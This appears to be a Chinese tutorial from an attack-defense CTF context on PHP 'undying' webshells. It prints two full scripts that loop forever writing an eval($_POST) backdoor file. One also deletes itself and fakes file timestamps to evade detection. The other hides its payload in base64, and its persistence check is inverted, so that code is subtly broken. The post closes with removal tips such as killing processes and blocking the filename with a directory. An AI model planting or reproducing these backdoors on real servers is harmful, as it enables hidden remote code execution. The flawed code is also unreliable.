内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。

生成过程

不死马.php → 上传到server → server执行文件 → server本地无限循环生成 (一句话.php)

不死马

网上版本

网上流传的不死马

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.2.php';
$code = '<?php if(md5($_GET["pass"])=="6a3421c28b49c8ee256ea53ef57b6acf"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
  • ignore_user_abort(true):函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  • set_time_limit():函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
  • unlink(__FILE__):删除文件本身,以起到隐蔽自身的作用。
  • while:循环内每隔usleep(5000)即写新的后门文件
  • system():执行的命令用于修改文件的创建或修改时间,可以绕过“find –name '*.php' –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

升级版

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
while(true) {
if(md5(file_get_contents($file))===md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>

杀死不死马

1.建立一个和不死马一样名字的文件夹,这样不死马就写不进去了
完全杀死不死马,得清理内存

1
rm .webshell.php && mkdir .webshell.php

2.杀进程得在root或者www-data权限下

1
ps -aux|grep 'www-data'|awk '{print$2}'|xargs kill -9

3.用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值.
4.重启 apache,php 等web服务(一般不会有权限)

参考文章:
不死马
自己一次线下AWD线下赛总结